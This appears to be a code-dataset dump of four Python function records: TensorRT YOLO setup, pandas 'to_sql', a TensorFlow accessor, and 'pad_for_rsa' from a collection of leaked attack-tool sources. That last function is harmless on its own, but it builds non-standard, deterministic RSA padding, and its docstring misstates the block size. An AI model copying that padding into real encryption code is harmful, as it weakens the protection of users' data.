[ "def", "__init__", "(", "self", ",", "yolo_masks", ",", "yolo_anchors", ",", "obj_threshold", ",", "nms_threshold", ",", "yolo_input_resolution", ")", ":", "self", ".", "masks", "=", "yolo_masks", "self", ".", "anchors", "=", "yolo_anchors", "self", ".", "object_threshold", "=", "obj_threshold", "self", ".", "nms_threshold", "=", "nms_threshold", "self", ".", "input_resolution_yolo", "=", "yolo_input_resolution" ]
https://github.com/NVIDIA/TensorRT/blob/42805f078052daad1a98bc5965974fcffaad0960/samples/python/yolov3_onnx/data_processing.py#L106-L128
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/pandas/io/sql.py
python
SQLDatabase.to_sql
( self, frame, name, if_exists="fail", index=True, index_label=None, schema=None, chunksize=None, dtype=None, method=None, )
Write records stored in a DataFrame to a SQL database. Parameters ---------- frame : DataFrame name : string Name of SQL table. if_exists : {'fail', 'replace', 'append'}, default 'fail' - fail: If table exists, do nothing. - replace: If table exists, drop it, recreate it, and insert data. - append: If table exists, insert data. Create if does not exist. index : boolean, default True Write DataFrame index as a column. index_label : string or sequence, default None Column label for index column(s). If None is given (default) and `index` is True, then the index names are used. A sequence should be given if the DataFrame uses MultiIndex. schema : string, default None Name of SQL schema in database to write to (if database flavor supports this). If specified, this overwrites the default schema of the SQLDatabase object. chunksize : int, default None If not None, then rows will be written in batches of this size at a time. If None, all rows will be written at once. dtype : single type or dict of column name to SQL type, default None Optional specifying the datatype for columns. The SQL type should be a SQLAlchemy type. If all columns are of the same type, one single value can be used. method : {None', 'multi', callable}, default None Controls the SQL insertion clause used: * None : Uses standard SQL ``INSERT`` clause (one per row). * 'multi': Pass multiple values in a single ``INSERT`` clause. * callable with signature ``(pd_table, conn, keys, data_iter)``. Details and a sample callable implementation can be found in the section :ref:`insert method <io.sql.method>`. .. versionadded:: 0.24.0
Write records stored in a DataFrame to a SQL database.
[ "Write", "records", "stored", "in", "a", "DataFrame", "to", "a", "SQL", "database", "." ]
def to_sql( self, frame, name, if_exists="fail", index=True, index_label=None, schema=None, chunksize=None, dtype=None, method=None, ): """ Write records stored in a DataFrame to a SQL database. Parameters ---------- frame : DataFrame name : string Name of SQL table. if_exists : {'fail', 'replace', 'append'}, default 'fail' - fail: If table exists, do nothing. - replace: If table exists, drop it, recreate it, and insert data. - append: If table exists, insert data. Create if does not exist. index : boolean, default True Write DataFrame index as a column. index_label : string or sequence, default None Column label for index column(s). If None is given (default) and `index` is True, then the index names are used. A sequence should be given if the DataFrame uses MultiIndex. schema : string, default None Name of SQL schema in database to write to (if database flavor supports this). If specified, this overwrites the default schema of the SQLDatabase object. chunksize : int, default None If not None, then rows will be written in batches of this size at a time. If None, all rows will be written at once. dtype : single type or dict of column name to SQL type, default None Optional specifying the datatype for columns. The SQL type should be a SQLAlchemy type. If all columns are of the same type, one single value can be used. method : {None', 'multi', callable}, default None Controls the SQL insertion clause used: * None : Uses standard SQL ``INSERT`` clause (one per row). * 'multi': Pass multiple values in a single ``INSERT`` clause. * callable with signature ``(pd_table, conn, keys, data_iter)``. Details and a sample callable implementation can be found in the section :ref:`insert method <io.sql.method>`. .. versionadded:: 0.24.0 """ if dtype and not is_dict_like(dtype): dtype = {col_name: dtype for col_name in frame} if dtype is not None: from sqlalchemy.types import to_instance, TypeEngine for col, my_type in dtype.items(): if not isinstance(to_instance(my_type), TypeEngine): raise ValueError(f"The type of {col} is not a SQLAlchemy type") table = SQLTable( name, self, frame=frame, index=index, if_exists=if_exists, index_label=index_label, schema=schema, dtype=dtype, ) table.create() table.insert(chunksize, method=method) if not name.isdigit() and not name.islower(): # check for potentially case sensitivity issues (GH7815) # Only check when name is not a number and name is not lower case engine = self.connectable.engine with self.connectable.connect() as conn: table_names = engine.table_names( schema=schema or self.meta.schema, connection=conn ) if name not in table_names: msg = ( f"The provided table name '{name}' is not found exactly as " "such in the database after writing the table, possibly " "due to case sensitivity issues. Consider using lower " "case table names." ) warnings.warn(msg, UserWarning)
[ "def", "to_sql", "(", "self", ",", "frame", ",", "name", ",", "if_exists", "=", "\"fail\"", ",", "index", "=", "True", ",", "index_label", "=", "None", ",", "schema", "=", "None", ",", "chunksize", "=", "None", ",", "dtype", "=", "None", ",", "method", "=", "None", ",", ")", ":", "if", "dtype", "and", "not", "is_dict_like", "(", "dtype", ")", ":", "dtype", "=", "{", "col_name", ":", "dtype", "for", "col_name", "in", "frame", "}", "if", "dtype", "is", "not", "None", ":", "from", "sqlalchemy", ".", "types", "import", "to_instance", ",", "TypeEngine", "for", "col", ",", "my_type", "in", "dtype", ".", "items", "(", ")", ":", "if", "not", "isinstance", "(", "to_instance", "(", "my_type", ")", ",", "TypeEngine", ")", ":", "raise", "ValueError", "(", "f\"The type of {col} is not a SQLAlchemy type\"", ")", "table", "=", "SQLTable", "(", "name", ",", "self", ",", "frame", "=", "frame", ",", "index", "=", "index", ",", "if_exists", "=", "if_exists", ",", "index_label", "=", "index_label", ",", "schema", "=", "schema", ",", "dtype", "=", "dtype", ",", ")", "table", ".", "create", "(", ")", "table", ".", "insert", "(", "chunksize", ",", "method", "=", "method", ")", "if", "not", "name", ".", "isdigit", "(", ")", "and", "not", "name", ".", "islower", "(", ")", ":", "# check for potentially case sensitivity issues (GH7815)", "# Only check when name is not a number and name is not lower case", "engine", "=", "self", ".", "connectable", ".", "engine", "with", "self", ".", "connectable", ".", "connect", "(", ")", "as", "conn", ":", "table_names", "=", "engine", ".", "table_names", "(", "schema", "=", "schema", "or", "self", ".", "meta", ".", "schema", ",", "connection", "=", "conn", ")", "if", "name", "not", "in", "table_names", ":", "msg", "=", "(", "f\"The provided table name '{name}' is not found exactly as \"", "\"such in the database after writing the table, possibly \"", "\"due to case sensitivity issues. Consider using lower \"", "\"case table names.\"", ")", "warnings", ".", "warn", "(", "msg", ",", "UserWarning", ")" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/pandas/io/sql.py#L1243-L1333
RamadhanAmizudin/malware
2c6c53c8b0d556f5d8078d6ca0fc4448f4697cf1
Fuzzbunch/Resources/ST1.14/Tools/sentrytribe.py
python
pad_for_rsa
(data)
return chr(0x01) + chr(0xff)*(127-len(data)-2) + chr(0x00) + data
Pad data out to the crypto block size (8 bytes)
Pad data out to the crypto block size (8 bytes)
[ "Pad", "data", "out", "to", "the", "crypto", "block", "size", "(", "8", "bytes", ")" ]
def pad_for_rsa(data): """ Pad data out to the crypto block size (8 bytes) """ data = data + chr(0x00)*(16-len(data)) return chr(0x01) + chr(0xff)*(127-len(data)-2) + chr(0x00) + data
[ "def", "pad_for_rsa", "(", "data", ")", ":", "data", "=", "data", "+", "chr", "(", "0x00", ")", "*", "(", "16", "-", "len", "(", "data", ")", ")", "return", "chr", "(", "0x01", ")", "+", "chr", "(", "0xff", ")", "*", "(", "127", "-", "len", "(", "data", ")", "-", "2", ")", "+", "chr", "(", "0x00", ")", "+", "data" ]
https://github.com/RamadhanAmizudin/malware/blob/2c6c53c8b0d556f5d8078d6ca0fc4448f4697cf1/Fuzzbunch/Resources/ST1.14/Tools/sentrytribe.py#L54-L59
benoitsteiner/tensorflow-opencl
cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5
tensorflow/python/ops/data_flow_ops.py
python
ConditionalAccumulatorBase.dtype
(self)
return self._dtype
The datatype of the gradients accumulated by this accumulator.
The datatype of the gradients accumulated by this accumulator.
[ "The", "datatype", "of", "the", "gradients", "accumulated", "by", "this", "accumulator", "." ]
def dtype(self): """The datatype of the gradients accumulated by this accumulator.""" return self._dtype
[ "def", "dtype", "(", "self", ")", ":", "return", "self", ".", "_dtype" ]
https://github.com/benoitsteiner/tensorflow-opencl/blob/cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5/tensorflow/python/ops/data_flow_ops.py#L1124-L1126